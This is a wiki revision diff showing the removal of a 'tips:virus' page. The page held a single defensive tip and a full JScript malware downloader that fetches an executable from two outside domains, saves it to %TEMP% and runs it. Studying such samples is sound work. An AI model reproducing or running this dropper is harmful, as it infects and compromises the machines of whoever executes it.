Differences

This shows you the differences between two versions of the page.

--- tips:virus [2016/02/01 10:48] – created scipio
+++ tips:virus [2021/10/08 10:06] (current) – removed scipio
@@ Line 1: / Line 1: @@
-====== Example of javascritp ======
-To avoid this type of attack create a dummy DNS for URLS
-<code>
-var STATUS_OK = 200;
-var METHOD_GET = "GET";
-var METHOD_EXEC = "Exec";
-var W_SCRIPT_SHELL = "WScript.Shell";
-var MSXML2_XMLHTTP = "MSXML2.XMLHTTP";
-var ADODB = "ADODB";
-var STREAM = "Stream";
-var TEMP_ENV = "%TEMP%\\";
-var EXE_EXTENSION = ".exe";
-var MIN_FILE_SIZE = 20000;
-var URLS = ["http://skuawill.com/93.exe","http://skuawillbil.com/93.exe"];
-var FILE_NAME = 35184372088832;
-var wShell = WScript.CreateObject(W_SCRIPT_SHELL);
-var httpRequest = WScript.CreateObject(MSXML2_XMLHTTP);
-var stream = WScript.CreateObject(ADODB+"."+STREAM);
-var tmpDir = wShell.ExpandEnvironmentStrings(TEMP_ENV);
-var storedFilePathName = tmpDir + FILE_NAME + EXE_EXTENSION;
-for (var v = 0; v < URLS.length; v++) {
-    try {
-        var url = URLS[v];
-        httpRequest.open(METHOD_GET, url, false);
-        httpRequest.send();
-        if (httpRequest.status == STATUS_OK) {
-            try {
-                stream.open();
-                stream.type = 1;
-                stream.write(httpRequest.responseBody);
-                if (stream.size > MIN_FILE_SIZE) {
-                    v = URLS.length;
-                    stream.position = 0;
-                    stream.saveToFile(storedFilePathName, 2);
-                }
-            } finally {
-                stream.close();
-            }
-        }
-    }
-    catch (ignored) {
-    }
-}
-wShell[METHOD_EXEC](tmpDir + Math.pow(2, 45));
-</code>